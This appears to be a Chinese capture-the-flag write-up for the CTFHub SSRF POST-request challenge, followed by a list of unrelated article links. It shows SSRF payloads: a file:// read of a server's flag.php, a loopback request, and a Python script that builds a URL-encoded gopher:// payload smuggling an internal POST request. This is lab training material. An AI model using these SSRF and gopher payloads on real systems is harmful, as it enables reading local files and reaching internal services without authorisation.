CTFHUB-SSRF-POST请求

通过file协议访问flag.php文件内容

复制代码
?url=file:///var/www/html/flag.php

右键查看页面源代码

需要从内部携带key发送post数据包即可获得flag

复制代码
?url=http://127.0.0.1/flag.php

得到了key

构造POST请求数据包,进行url编码(新建一个txt文件,输入以下内容保存,修改为python文件,重命名为gopher.py)

python 复制代码
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d554812847363980d21b2b1b87733501
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在命令行窗口执行

复制代码
python gopher.py

通过Gopher协议发送请求,得到了flag

复制代码
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dd554812847363980d21b2b1b87733501%250D%250A
相关推荐
虹科网络安全9 小时前
Redis Radar:在统一视图中掌握 Redis 部署、健康与容量
经验分享·redis·艾体宝·艾体宝it·艾体宝redis
聪明的笨猪猪13 小时前
实际工程问题:AI 生成 Spring Cache(@Cacheable / @CachePut / @CacheEvict)缓存注解踩坑
java·经验分享·面试·ai编程
David猪大卫15 小时前
【C++修炼】map 和 set 的使用
c语言·开发语言·数据结构·c++·经验分享·笔记·学习
爱分享的康康18 小时前
车载服务器如何选型|康谋自动驾驶实车测试硬件评估指南
经验分享·车载系统
yuenineon19 小时前
智能体加 RPA 能提升效率吗?企业智能体(腾讯workbuddy+金智维RPA)先看任务、流程和维护成本
经验分享
曾令胜20 小时前
云服务器被攻击后分析恶意脚本修复漏洞
网络安全·安全威胁分析
虹科网络安全20 小时前
Search on Flex:用分层存储承载更大规模的 Redis 搜索索引
经验分享·redis·艾体宝·艾体宝it
德思特21 小时前
德思特户外机器人测试方案:从双天线定向到 RTK 厘米级定位全覆盖
经验分享·gnss·户外机器人
八十天环游世界1 天前
从财务机器人到财务智能体,企业财务自动化正在发生哪些变化?
经验分享
聪明的笨猪猪1 天前
实际工程问题:AI生成MyBatis批量操作的SQL超限与性能雪崩
java·经验分享·面试·ai编程